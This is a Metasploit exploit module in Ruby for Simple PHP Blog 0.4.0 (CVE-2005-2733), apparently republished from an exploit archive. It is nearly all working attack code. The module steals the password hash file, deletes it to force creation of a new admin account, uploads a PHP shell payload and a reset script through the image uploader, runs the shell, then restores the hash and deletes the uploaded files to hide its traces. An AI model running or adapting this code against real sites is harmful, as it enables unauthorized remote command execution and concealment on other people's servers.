Simple PHP Blog 0.4.0 – Remote Command Execution (Metasploit)
## # $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Simple PHP Blog <= 0.4.0 Remote Command Execution', 'Description' => %q{ This module combines three separate issues within The Simple PHP Blog (<= 0.4.0) application to upload arbitrary data and thus execute a shell. The first vulnerability exposes the hash file (password.txt) to unauthenticated users. The second vulnerability lies within the image upload system provided to logged-in users; there is no image validation function in the blogger to prevent an authenticated user from uploading any file type. The third vulnerability occurs within the blog comment functionality, allowing arbitrary files to be deleted. }, 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9929 $', 'References' => [ ['CVE', '2005-2733'], ['OSVDB', '19012'], ['BID', '14667'], ['URL', 'http://www.milw0rm.com/exploits/1191'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, 'Space' => 1024, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Aug 25 2005', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]), ], self.class) end def check res = send_request_raw({ 'uri' => datastore['URI'] + '/index.php' }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) ver = [ $1.to_i, $2.to_i, $3.to_i ] print_status("Simple PHP Blog #{ver.join('.')}") if (ver[0] == 0 and ver[1] < 5) if (ver[1] == 4 and ver[2] > 0) return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end end return Exploit::CheckCode::Safe end def retrieve_password_hash(file) res = send_request_raw({ 'uri' => datastore['URI'] + file, }, 25) if (res and res.message == "OK" and res.body) print_status("Successfully retrieved hash: #{res.body}") return res.body else raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.") return false end end def create_new_password(user, pass) res = send_request_cgi({ 'uri' => datastore['URI'] + '/install03_cgi.php', 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) if (res) print_status("Successfully created temporary account.") else print_error("Unable to create a temporary account!") end end def retrieve_session(user, pass) res = send_request_cgi({ 'uri' => datastore['URI'] + "/login_cgi.php", 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) if (res) print_status("Successfully logged in as #{user}:#{pass}") if (res.headers['Set-Cookie'] =~ /my_id=(.*)/) session = $1 print_status("Successfully retrieved cookie: #{session}") return session else print_error("Error retrieving cookie!") end else print_error("No response received while logging in.") end end def upload_page(session, dir, newpage, contents) boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; " data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n" data << contents data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => datastore['URI'] + "/upload_img_cgi.php", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, 'Cookie' => "my_id=#{session}; PHPSESSID=#{session}", } }, 25) if (res) print_status("Successfully uploaded #{newpage}") else print_error("Error uploading #{newpage}") end end def reset_original_password(hash, scriptlocation) res = send_request_cgi({ 'uri' => datastore['URI'] + scriptlocation, 'method' => 'POST', 'data' => "hash=" + hash, }, 25) if (res) print_status("Successfully reset original password hash.") else print_error("Error resetting original password!") end end def delete_file(file) delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ 'uri' => datastore['URI'] + delete_path, }, 25) if (res) print_status("Successfully removed #{file}") else print_error("Error removing #{file}!") end end def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") res = send_request_raw({ 'uri' => datastore['URI'] + cmdpath }, 25) end def exploit # Define the scripts to be uploaded to aid in exploitation cmd_php = '<?php ' + payload.encoded + '?>' reset_php = %Q| <?php $hash = $_POST['hash']; $fp = fopen("../config/password.txt","w"); fwrite($fp,$hash); fpclose($fp); ?>| # Generate some random strings cmdscript = rand_text_alphanumeric(20) + '.php' resetscript = rand_text_alphanumeric(20) + '.php' newuser = rand_text_alphanumeric(6) newpass = rand_text_alphanumeric(6) # Static files directory = '/images/' cmdpath = directory + cmdscript resetpath = directory + resetscript passwdfile = '/config/password.txt' # Let's do this thing hash = retrieve_password_hash(passwdfile) delete_file(passwdfile) create_new_password(newuser, newpass) session = retrieve_session(newuser, newpass) upload_page(session, directory, resetscript, reset_php) upload_page(session, directory, cmdscript, cmd_php) reset_original_password(hash, resetpath) delete_file(resetpath) cmd_shell(cmdpath) delete_file(cmdpath) end end |